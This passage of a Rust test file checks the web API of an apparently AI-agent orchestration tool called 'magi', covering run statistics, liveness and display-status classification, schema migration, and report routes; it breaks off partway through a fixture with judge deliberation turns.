19428 async fn stats_lists_every_repository_with_runs_recorded() {
19429 let f = Fixture::start().await;
19430 write_run_repo(
19431 &f.runs(),
19432 "20260902-140501-a",
19433 RunStatus::Merged,
19434 "/repos/a",
19435 );
19436 write_run_repo(
19437 &f.runs(),
19438 "20260902-140502-b",
19439 RunStatus::Merged,
19440 "/repos/a",
19441 );
19442 write_run_repo(
19443 &f.runs(),
19444 "20260902-140503-c",
19445 RunStatus::Blocked,
19446 "/repos/b",
19447 );
19448
19449 let stats = f.get("/api/stats").await;
19450 assert_eq!(stats.status, 200);
19451 assert_eq!(stats.json()["totals"]["runs"], 3);
19453 assert_eq!(stats.json()["repo"], Value::Null);
19454
19455 let repos = stats.json()["repos"].clone();
19456 let repos = repos.as_array().unwrap();
19457 assert_eq!(repos.len(), 2);
19458 assert_eq!(repos[0]["repo"], "/repos/a");
19460 assert_eq!(repos[0]["name"], "a");
19461 assert_eq!(repos[0]["runs"], 2);
19462 assert_eq!(repos[1]["repo"], "/repos/b");
19463 assert_eq!(repos[1]["runs"], 1);
19464 }
19465
19466 #[tokio::test]
19467 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19468 let f = Fixture::start().await;
19469 write_run_repo(
19470 &f.runs(),
19471 "20260902-140501-a",
19472 RunStatus::Merged,
19473 "/repos/a",
19474 );
19475 write_run_repo(
19476 &f.runs(),
19477 "20260902-140502-b",
19478 RunStatus::Blocked,
19479 "/repos/b",
19480 );
19481
19482 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19483 assert_eq!(stats.status, 200);
19484 assert_eq!(stats.json()["totals"]["runs"], 1);
19485 assert_eq!(stats.json()["totals"]["merged"], 1);
19486 assert_eq!(stats.json()["repo"], "/repos/a");
19487 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19490 assert_eq!(stats.json()["runs_unreadable"], 0);
19493 }
19494
19495 #[tokio::test]
19496 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19497 let f = Fixture::start().await;
19498 write_run_repo(
19499 &f.runs(),
19500 "20260902-140501-a",
19501 RunStatus::Merged,
19502 "/repos/a",
19503 );
19504 write_run_repo(
19505 &f.runs(),
19506 "20260902-140502-b",
19507 RunStatus::Merged,
19508 "/repos/b",
19509 );
19510
19511 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19512 let json = f.get(uri).await.json();
19513 let daily = json["daily"].as_array().expect("daily is an array");
19514 assert_eq!(daily.len(), 30);
19515 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19516 let mut sorted = dates.clone();
19517 sorted.sort();
19518 assert_eq!(dates, sorted);
19519 for d in daily {
19520 assert_eq!(
19521 d["merged"].as_u64().unwrap()
19522 + d["ready"].as_u64().unwrap()
19523 + d["other"].as_u64().unwrap(),
19524 d["runs"].as_u64().unwrap()
19525 );
19526 }
19527 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19528 }
19529 }
19530
19531 #[tokio::test]
19532 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19533 let f = Fixture::start().await;
19534 write_run_repo(
19535 &f.runs(),
19536 "20260902-140501-a",
19537 RunStatus::Merged,
19538 "/repos/a",
19539 );
19540
19541 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19542 assert_eq!(stats.status, 404);
19543 }
19544
19545 #[tokio::test]
19546 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19547 let f = Fixture::start().await;
19548 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19549
19550 let summary = f.get("/api/runs").await.json();
19551 let row = &summary[0];
19552 assert_eq!(row["short"], "a1b2");
19553 assert_eq!(row["status"], "ready");
19554 assert_eq!(row["done"], true);
19555 assert_eq!(row["title"], "Add a web UI");
19556 assert_eq!(row["repo_name"], "magi");
19557 assert_eq!(row["judges"], 3);
19558 assert_eq!(row["winner"], Value::Null);
19559 assert_eq!(row["reviews"], 0);
19560
19561 let detail = f.get("/api/runs/a1b2").await;
19564 assert_eq!(detail.status, 200);
19565 assert_eq!(detail.json()["base_branch"], "main");
19566 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19567 }
19568
19569 #[tokio::test]
19577 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19578 let f = Fixture::start().await;
19579
19580 let mut none_run = RunState::new(
19581 PathBuf::from("/repo/magi"),
19582 "main".to_owned(),
19583 "0123456789abcdef".to_owned(),
19584 "Add a web UI".to_owned(),
19585 Config::default(),
19586 );
19587 none_run.id = "20260902-140503-none".to_owned();
19588 none_run.status = RunStatus::Ready;
19589 none_run.merge = Some(crate::run::MergeOutcome {
19590 mode: crate::config::MergeMode::None,
19591 ok: true,
19592 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19593 empty: false,
19594 });
19595 write_state(&f.runs(), &none_run);
19596
19597 let mut pr_run = RunState::new(
19598 PathBuf::from("/repo/magi"),
19599 "main".to_owned(),
19600 "0123456789abcdef".to_owned(),
19601 "Add a web UI".to_owned(),
19602 Config::default(),
19603 );
19604 pr_run.id = "20260902-140504-prcl".to_owned();
19605 pr_run.status = RunStatus::Ready;
19606 pr_run.merge = Some(crate::run::MergeOutcome {
19607 mode: crate::config::MergeMode::Pr,
19608 ok: false,
19609 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19610 empty: false,
19611 });
19612 write_state(&f.runs(), &pr_run);
19613
19614 let summary = f.get("/api/runs").await.json();
19615 let rows: std::collections::HashMap<&str, &Value> = summary
19616 .as_array()
19617 .expect("an array")
19618 .iter()
19619 .map(|r| (r["id"].as_str().expect("an id"), r))
19620 .collect();
19621 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19622 assert_eq!(
19623 rows[none_run.id.as_str()]["unmerged_by_design"],
19624 true,
19625 "a mode-none Ready must be flagged in the list"
19626 );
19627 assert_eq!(
19628 rows[pr_run.id.as_str()]["unmerged_by_design"],
19629 false,
19630 "a Ready reached by a closed pull request is a different case"
19631 );
19632
19633 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19634 assert_eq!(none_detail["status"], "ready");
19635 assert_eq!(none_detail["unmerged_by_design"], true);
19636
19637 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19638 assert_eq!(pr_detail["unmerged_by_design"], false);
19639 }
19640
19641 #[tokio::test]
19646 async fn run_core_survives_unavailable_related_stores() {
19647 let home = TempDir::new().unwrap();
19648 let ui = delta_test_ui(home.path());
19649 let state = RunState::new(
19650 PathBuf::from("/repo/magi"),
19651 "main".into(),
19652 "0123456789abcdef".into(),
19653 "Useful core instructions".into(),
19654 Config::default(),
19655 );
19656 let dir = ui.runs.join(&state.id);
19657 std::fs::create_dir_all(&dir).unwrap();
19658 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19659 std::fs::write(ui.questions.root(), "unavailable").unwrap();
19660 std::fs::write(ui.queue.root(), "unavailable").unwrap();
19661 let core = run_core(State(ui.clone()), Path(state.id.clone()))
19662 .await
19663 .unwrap()
19664 .0;
19665 assert_eq!(core.state.instruction, state.instruction);
19666 assert_eq!(core.state.updated_at, state.updated_at);
19667 assert!(core.task.is_none());
19668 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19669 }
19670
19671 #[tokio::test]
19672 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19673 let f = Fixture::start().await;
19674 let id = "20260902-140502-bbbb";
19678 let mut state = RunState::new(
19679 PathBuf::from("/repo/magi"),
19680 "main".to_owned(),
19681 "0123456789abcdef".to_owned(),
19682 "Add a web UI".to_owned(),
19683 Config::default(),
19684 );
19685 state.id = id.to_owned();
19686 state.status = RunStatus::Judging;
19687 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19688 let dir = f.runs().join(id);
19689 std::fs::create_dir_all(&dir).expect("run dir");
19690 std::fs::write(
19691 dir.join("run.json"),
19692 serde_json::to_string_pretty(&state).expect("serialize run"),
19693 )
19694 .expect("write run.json");
19695
19696 let cold = f.get(&format!("/api/runs/{id}")).await.json();
19702 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19703 assert_eq!(cold["live"], "unknown", "{cold}");
19704
19705 write_daemon(f.home.path(), Timestamp::now());
19708 let warm = f.get(&format!("/api/runs/{id}")).await.json();
19709 assert_eq!(warm["live"], "live", "{warm}");
19710 }
19711
19712 #[test]
19713 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19714 let home = tempfile::tempdir().expect("temp home");
19715 let runs = home.path().join("runs");
19716 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19717 let mut state = RunState::new(
19718 PathBuf::from("/repo/magi"),
19719 "main".to_owned(),
19720 "0123456789abcdef".to_owned(),
19721 "Generated review context, not authored task criteria".to_owned(),
19722 Config::default(),
19723 );
19724 state.origin = origin;
19725 state.status = RunStatus::Blocked;
19726 state.driver_exited = false;
19728 state.gate_ran = true;
19729 let expected = serde_json::to_value(&state).expect("serialize current state");
19730 let mut legacy = expected.clone();
19731 legacy["schema"] = serde_json::json!(13);
19732 legacy.as_object_mut().unwrap().remove("task_instruction");
19733 let dir = runs.join(&state.id);
19734 std::fs::create_dir_all(&dir).expect("run dir");
19735 let path = dir.join("run.json");
19736 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19737 std::fs::write(&path, &body).expect("write legacy run");
19738
19739 for loaded in [
19740 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19741 read_run(&runs, &state.id).expect("web migration"),
19742 ] {
19743 assert_eq!(loaded.schema, crate::run::SCHEMA);
19744 assert!(loaded.task_instruction.is_none());
19745 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19746 }
19747 assert_eq!(runs_unreadable(&runs), 0);
19748 assert_eq!(std::fs::read(&path).unwrap(), body);
19749 }
19750 }
19751
19752 #[tokio::test]
19755 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19756 let f = Fixture::start().await;
19757 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19758 let mut state = RunState::new(
19759 PathBuf::from("/repo/magi"),
19760 "main".to_owned(),
19761 "0123456789abcdef".to_owned(),
19762 "Add a web UI".to_owned(),
19763 Config::default(),
19764 );
19765 state.id = id.to_owned();
19766 state.origin = origin;
19767 let mut value = serde_json::to_value(&state).expect("serialize run");
19768 if let Some(schema) = schema {
19769 value["schema"] = serde_json::json!(schema);
19770 value.as_object_mut().unwrap().remove("origin");
19771 }
19772 let dir = f.runs().join(id);
19773 std::fs::create_dir_all(&dir).expect("run dir");
19774 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19775 };
19776 write(
19777 "20260930-092817-ec34",
19778 Some(crate::run::Origin::from_agent_env(
19779 Some(("4a7b".to_owned(), "chat".to_owned())),
19780 None,
19781 )),
19782 None,
19783 );
19784 write("20260930-092817-0ld1", None, Some(12));
19785
19786 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19787 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19788 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19789
19790 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19791 assert_eq!(
19792 old["origin_label"], "origin unknown (started before origins were recorded)",
19793 "{old}"
19794 );
19795 assert!(old["origin"].is_null(), "{old}");
19796
19797 let list = f.get("/api/runs").await.json();
19798 let labels: Vec<_> = list
19799 .as_array()
19800 .unwrap()
19801 .iter()
19802 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19803 .collect();
19804 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19805 }
19806
19807 #[tokio::test]
19808 async fn run_progress_observation_exposes_activity_without_control_evidence() {
19809 let f = Fixture::start().await;
19810 let mut state = RunState::new(
19811 PathBuf::from("/repo"),
19812 "main".into(),
19813 "abc".into(),
19814 "task".into(),
19815 Config::default(),
19816 );
19817 state.status = RunStatus::Implementing;
19818 state.seat_started(
19819 "implement",
19820 "implement-A",
19821 std::time::Duration::from_secs(60),
19822 0,
19823 );
19824 state.save_under(f.home.path()).unwrap();
19825 let observed = f
19826 .get(&format!("/api/runs/{}/progress", state.id))
19827 .await
19828 .json();
19829 assert_eq!(observed["id"], state.id);
19830 assert!(observed["observed_at"].is_string());
19831 assert_eq!(observed["updated_at"], state.updated_at.to_string());
19832 assert!(observed["progress"]["activity"].is_string());
19833 for field in [
19834 "config",
19835 "candidates",
19836 "land_approval",
19837 "task",
19838 "waiting",
19839 "done",
19840 ] {
19841 assert!(
19842 observed.get(field).is_none(),
19843 "progress must not expose control evidence: {field}"
19844 );
19845 }
19846 }
19847
19848 #[tokio::test]
19855 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19856 let f = Fixture::start().await;
19857 let id = "20260922-090000-cccc";
19858 let mut state = RunState::new(
19859 PathBuf::from("/repo/magi"),
19860 "main".to_owned(),
19861 "0123456789abcdef".to_owned(),
19862 "Review only".to_owned(),
19863 Config::default(),
19864 );
19865 state.id = id.to_owned();
19866 state.status = RunStatus::Reviewing;
19867 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19868 state.driver_pid = Some(std::process::id());
19874 state.driver_started_at = Some(
19875 crate::proc::process_started_at(std::process::id())
19876 .expect("this test process's own start time must be queryable"),
19877 );
19878 let dir = f.runs().join(id);
19879 std::fs::create_dir_all(&dir).expect("run dir");
19880 std::fs::write(
19881 dir.join("run.json"),
19882 serde_json::to_string_pretty(&state).expect("serialize run"),
19883 )
19884 .expect("write run.json");
19885
19886 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19887 assert_eq!(detail["live"], "live", "{detail}");
19888 }
19889
19890 #[tokio::test]
19896 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19897 let f = Fixture::start().await;
19898 let id = "20260922-090100-dddd";
19899 let mut state = RunState::new(
19900 PathBuf::from("/repo/magi"),
19901 "main".to_owned(),
19902 "0123456789abcdef".to_owned(),
19903 "Review only".to_owned(),
19904 Config::default(),
19905 );
19906 state.id = id.to_owned();
19907 state.status = RunStatus::Reviewing;
19908 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19909 state.driver_pid = Some(std::process::id());
19914 state.driver_started_at = Some("1".to_owned());
19915 let dir = f.runs().join(id);
19916 std::fs::create_dir_all(&dir).expect("run dir");
19917 std::fs::write(
19918 dir.join("run.json"),
19919 serde_json::to_string_pretty(&state).expect("serialize run"),
19920 )
19921 .expect("write run.json");
19922
19923 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19924 assert_eq!(detail["live"], "dead", "{detail}");
19925 }
19926
19927 #[test]
19931 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19932 let mk = |id: &str, pid: Option<u32>| {
19933 let mut s = RunState::new(
19934 PathBuf::from("/repo/magi"),
19935 "main".to_owned(),
19936 "0123456789abcdef".to_owned(),
19937 "Add a web UI".to_owned(),
19938 Config::default(),
19939 );
19940 s.id = id.to_owned();
19941 s.driver_pid = pid;
19942 s.driver_started_at = Some("1790000000".to_owned());
19943 s
19944 };
19945 let states = vec![
19946 mk("20260902-140502-aaaa", Some(77)),
19947 mk("20260902-140502-bbbb", Some(77)),
19948 mk("20260902-140502-cccc", Some(77)),
19949 mk("20260902-140502-dddd", None),
19950 ];
19951 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19952 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19953 let sup: HashMap<String, String> = [(
19954 "20260902-140502-aaaa".to_owned(),
19955 "20260902-140502-cccc".to_owned(),
19956 )]
19957 .into();
19958
19959 let status_calls = std::cell::Cell::new(0);
19960 let identity_calls = std::cell::Cell::new(0);
19961 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19962 |_| {
19963 status_calls.set(status_calls.get() + 1);
19964 Some(true)
19965 },
19966 |_| {
19967 identity_calls.set(identity_calls.get() + 1);
19968 Some("1790000000".to_owned())
19969 },
19970 ));
19971 let rows = summarize(
19972 states,
19973 &open,
19974 &claimed,
19975 &sup,
19976 |p| probe.borrow_mut().status(p),
19977 |p| probe.borrow_mut().started_at(p),
19978 );
19979
19980 assert_eq!(status_calls.get(), 1, "one pid, one status query");
19981 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19982 assert_eq!(rows.len(), 4);
19983 assert!(!rows[0].waiting && rows[1].waiting);
19984 assert_eq!(rows[0].live, crate::run::Liveness::Live);
19985 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19986 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19987 assert_eq!(rows[1].superseded_by, None);
19988 }
19989
19990 #[test]
19991 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19992 let mut state = RunState::new(
19993 PathBuf::from("/repo/magi"),
19994 "main".to_owned(),
19995 "0123456789abcdef".to_owned(),
19996 "Review only".to_owned(),
19997 Config::default(),
19998 );
19999 state.id = "20260922-090200-dead".to_owned();
20000 state.status = RunStatus::Reviewing;
20001 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20002 .expect("serialize list row");
20003 assert_eq!(row["status"], "reviewing");
20004 assert_eq!(row["display_status"], "stale");
20005 assert_eq!(row["live"], "dead", "{row}");
20006 assert!(!row["done"].as_bool().unwrap());
20007 }
20008
20009 #[test]
20010 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20011 use crate::run::Liveness::{Dead, Live, Unknown};
20012 let mut state = RunState::new(
20013 PathBuf::from("/repo/magi"),
20014 "main".to_owned(),
20015 "abc".to_owned(),
20016 "Review only".to_owned(),
20017 Config::default(),
20018 );
20019 for (status, parked, node, waiting, live, expected) in [
20020 (
20021 RunStatus::Judging,
20022 true,
20023 "github-text",
20024 false,
20025 Dead,
20026 "parked",
20027 ),
20028 (RunStatus::Judging, false, "park", false, Dead, "stale"),
20029 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20030 (
20031 RunStatus::Judging,
20032 true,
20033 "github-text",
20034 true,
20035 Dead,
20036 "waiting",
20037 ),
20038 (
20039 RunStatus::Judging,
20040 false,
20041 "github-text",
20042 true,
20043 Dead,
20044 "waiting",
20045 ),
20046 (
20047 RunStatus::Judging,
20048 false,
20049 "github-text",
20050 false,
20051 Dead,
20052 "stale",
20053 ),
20054 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20055 (RunStatus::Judging, true, "park", false, Live, "judging"),
20056 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20057 (RunStatus::Merged, true, "park", false, Dead, "merged"),
20058 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20059 (
20060 RunStatus::Blocked,
20061 true,
20062 "github-text",
20063 true,
20064 Dead,
20065 "waiting",
20066 ),
20067 ] {
20068 state.status = status;
20069 state.parked = parked;
20070 state.events.clear();
20071 state.event(
20072 "park",
20073 "an earlier park does not determine the latest state",
20074 );
20075 state.event(node, "message is not used for classification");
20076 let summary = RunSummary::of(&state, waiting, live);
20077 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20078 assert_eq!(
20079 summary.display_status, expected,
20080 "{status:?}/{node}/{live:?}"
20081 );
20082 assert_eq!(detail.display_status, summary.display_status);
20083 assert_eq!(detail.waiting, summary.waiting);
20084 }
20085 state.status = RunStatus::Judging;
20086 state.parked = false;
20087 state.events.clear();
20088 assert_eq!(run_display_status(&state, false, Dead), "stale");
20089 }
20090
20091 #[test]
20092 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20093 use crate::run::Liveness::{Dead, Live, Unknown};
20094 let mut state = RunState::new(
20095 PathBuf::from("/repo/magi"),
20096 "main".to_owned(),
20097 "abc".to_owned(),
20098 "Badge".to_owned(),
20099 Config::default(),
20100 );
20101 for (status, waiting, live, superseded, expected) in [
20102 (RunStatus::Gating, false, Dead, false, "stale"),
20103 (RunStatus::Gating, false, Dead, true, "superseded"),
20104 (RunStatus::Gating, false, Unknown, true, "superseded"),
20105 (RunStatus::Gating, true, Dead, true, "superseded"),
20106 (RunStatus::Gating, true, Dead, false, "waiting"),
20107 (RunStatus::Gating, false, Unknown, false, "gating"),
20108 (RunStatus::Gating, false, Live, true, "gating"),
20109 (RunStatus::Gating, true, Live, true, "waiting"),
20110 (RunStatus::Merged, false, Dead, true, "merged"),
20111 (RunStatus::Blocked, false, Dead, true, "blocked"),
20112 ] {
20113 state.status = status;
20114 let display = run_display_status(&state, waiting, live);
20115 assert_eq!(
20116 run_badge_status(&state, &display, live, superseded),
20117 expected,
20118 "{status:?}/{live:?}/superseded={superseded}"
20119 );
20120 }
20121 }
20122
20123 #[test]
20124 fn summarize_and_detail_expose_badge_status() {
20125 use crate::run::Liveness::Dead;
20126 let mut state = RunState::new(
20127 PathBuf::from("/repo/magi"),
20128 "main".to_owned(),
20129 "abc".to_owned(),
20130 "Badge".to_owned(),
20131 Config::default(),
20132 );
20133 state.status = RunStatus::Gating;
20134 let none = HashSet::new();
20135 let id = state.id.clone();
20136 let mut by = HashMap::new();
20137 let rows = summarize(
20138 [state.clone()],
20139 &none,
20140 &none,
20141 &by,
20142 |_| Some(false),
20143 |_| None,
20144 );
20145 assert_eq!(rows[0].badge_status, rows[0].display_status);
20147 by.insert(id, "20260901-000000-913b".to_owned());
20148 let detail = RunDetailView::of(
20149 state.clone(),
20150 false,
20151 Dead,
20152 Some("913b".to_owned()),
20153 None,
20154 None,
20155 );
20156 assert_eq!(detail.badge_status, "superseded");
20157 let json = serde_json::to_value(&detail).unwrap();
20158 assert_eq!(json["badge_status"], "superseded");
20159 let detail = RunDetailView::of(state, false, Dead, None, None, None);
20160 assert_eq!(detail.badge_status, "stale");
20161 }
20162
20163 #[tokio::test]
20164 async fn run_display_status_routes_share_the_open_question_store() {
20165 let f = Fixture::start().await;
20166 let id = "20260922-090200-abcd";
20167 write_run(&f.runs(), id, RunStatus::Judging);
20168 let mut state = read_run(&f.runs(), id).unwrap();
20169 state.parked = true;
20170 state.driver_exited = true;
20171 state.event("github-text", "waiting for the owner");
20172 state.save_under(f.home.path()).unwrap();
20173 let mut task = Task::new(
20174 "resumed task".to_owned(),
20175 "do it".to_owned(),
20176 PathBuf::from("/repo"),
20177 Source::Human,
20178 );
20179 task.runs = vec![id.to_owned(), id.to_owned()];
20180 f.queue().put(&mut task).unwrap();
20181 let store = f.questions();
20182 let mut q = Question::new(
20183 id.to_owned(),
20184 "github-text".to_owned(),
20185 "owner".to_owned(),
20186 "Approve the text?".to_owned(),
20187 String::new(),
20188 Vec::new(),
20189 );
20190 store.put(&mut q).unwrap();
20191 for expected in ["waiting", "parked"] {
20192 let list = f.get("/api/runs").await.json();
20193 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20194 assert_eq!(list[0]["display_status"], expected);
20195 assert_eq!(detail["display_status"], expected);
20196 assert_eq!(detail["waiting"], list[0]["waiting"]);
20197 assert_eq!(list[0]["badge_status"], expected);
20198 assert_eq!(detail["badge_status"], expected);
20199 assert!(list[0]["superseded_by"].is_null());
20200 assert!(detail["superseded_by"].is_null());
20201 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20202 let history = task_detail["history"].as_array().unwrap();
20203 assert_eq!(history.len(), 2);
20204 assert!(history[0]["badge"].is_null());
20205 assert_eq!(history[1]["badge"], expected);
20206 q.status = ask::QuestionStatus::Answered;
20207 store.put(&mut q).unwrap();
20208 }
20209 }
20210
20211 #[tokio::test]
20212 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20213 let f = Fixture::start().await;
20214 let id = "20260922-090200-abcd";
20215 write_run(&f.runs(), id, RunStatus::Judging);
20216 let mut state = read_run(&f.runs(), id).unwrap();
20217 state.parked = true;
20218 state.driver_exited = true;
20219 state.event("park", "stopped at a node boundary");
20220 state.save_under(f.home.path()).unwrap();
20221
20222 for expected in ["parked", "stale"] {
20223 let list = f.get("/api/runs").await.json();
20224 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20225 assert_eq!(list[0]["live"], "dead");
20226 assert_eq!(list[0]["display_status"], expected);
20227 assert_eq!(detail["display_status"], expected);
20228 state.parked = false;
20231 state.save_under(f.home.path()).unwrap();
20232 }
20233 }
20234
20235 #[tokio::test]
20236 async fn the_run_list_is_newest_first_and_honours_a_limit() {
20237 let f = Fixture::start().await;
20238 for id in [
20239 "20260902-140501-aaaa",
20240 "20260902-140502-bbbb",
20241 "20260902-140503-cccc",
20242 ] {
20243 write_run(&f.runs(), id, RunStatus::Merged);
20244 }
20245
20246 let all = f.get("/api/runs").await.json();
20247 let capped = f.get("/api/runs?limit=2").await.json();
20248
20249 assert_eq!(all[0]["id"], "20260902-140503-cccc");
20250 assert_eq!(all.as_array().map(Vec::len), Some(3));
20251 assert_eq!(capped.as_array().map(Vec::len), Some(2));
20252 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20253 }
20254
20255 #[tokio::test]
20256 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20257 let f = Fixture::start().await;
20258 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20259
20260 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20261
20262 assert_eq!(res.status, 200);
20263 assert!(
20264 res.headers
20265 .contains("content-type: text/plain; charset=utf-8"),
20266 "a browser must render it, not download it: {}",
20267 res.headers
20268 );
20269 assert!(
20273 res.body.contains("20260902-140501-a1b2"),
20274 "the report is about the run that was asked for: {}",
20275 res.body
20276 );
20277 }
20278
20279 #[tokio::test]
20280 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20281 crate::run::pin_test_home();
20283 let f = Fixture::start().await;
20284 let id = "20260902-140501-a1b2";
20285 write_run(&f.runs(), id, RunStatus::Stalled);
20286 let path = f.runs().join(id).join("run.json");
20289 let mut v: serde_json::Value =
20290 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20291 v["tally"] = serde_json::json!({
20292 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20293 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20294 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20295 "met_quorum": false, "rankings": 1
20296 });
20297 v["reviews"] = serde_json::json!([{
20298 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20299 "e2e_deferred": true,
20300 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20301 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20302 ]}]
20303 }]);
20304 std::fs::write(&path, v.to_string()).unwrap();
20305 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20306 std::fs::write(
20307 f.runs().join("20260902-140502-dead").join("run.json"),
20308 "{not json",
20309 )
20310 .unwrap();
20311
20312 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20313
20314 assert_eq!(res.status, 200, "{}", res.body);
20315 assert!(res.headers.contains("content-type: application/json"));
20316 let j = res.json();
20317 assert_eq!(j["schema"], 1);
20318 assert_eq!(j["header"]["id"], id);
20319 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20320 let kinds: Vec<&str> = j["sections"]
20321 .as_array()
20322 .unwrap()
20323 .iter()
20324 .map(|s| s["kind"].as_str().unwrap())
20325 .collect();
20326 assert_eq!(kinds, ["candidates", "tally", "review"]);
20327 let tally = &j["sections"][1]["tally"];
20328 assert_eq!(
20329 (tally["decided"].clone(), tally["provisional"].clone()),
20330 (false.into(), true.into())
20331 );
20332 let round = &j["sections"][2]["rounds"][0];
20333 assert_eq!(round["e2e"]["state"], "deferred");
20334 assert_eq!(round["findings"][0]["severity"], "major");
20335 assert_eq!(round["findings"][0]["blocking"], true);
20336 assert_eq!(round["findings"][0]["state"], "open");
20337
20338 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20340
20341 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20343 assert_ne!(bad.status, 200, "{}", bad.body);
20344 assert_eq!(
20345 bad.status,
20346 f.get("/api/runs/20260902-140502-dead/report").await.status
20347 );
20348 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20349 assert_eq!(
20350 f.get("/api/runs/20260902-999999-ffff/report.json")
20351 .await
20352 .status,
20353 404
20354 );
20355 }
20356
20357 #[tokio::test]
20358 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20359 crate::run::pin_test_home();
20360 let f = Fixture::start().await;
20361 let id = "20260902-140503-delib";
20362 write_run(&f.runs(), id, RunStatus::Merged);
20363 let path = f.runs().join(id).join("run.json");
20364 let mut v: serde_json::Value =
20365 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20366 v["judgements"] = serde_json::json!([
20367 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20368 ]);
20369 v["tally"] = serde_json::json!({
20370 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20371 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20372 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20373 "met_quorum": true, "rankings": 1
20374 });
20375 v["deliberation"] = serde_json::json!([
20376 {
20377 "round": 1,
20378 "turns": [
20379 {
20380 "judge": 1,
20381 "agent": "judge-1",
20382 "body": "I prefer candidate **A** because it has cleaner tests.",
20383 "tentative": "A"
20384 }
20385 ]
20386 },
20387 {
20388 "round": 2,
20389 "turns": [
20390 {
20391 "judge": 1,
20392 "agent": "judge-1",
20393 "body": "Still thinking, no choice yet.",
20394 "tentative": null
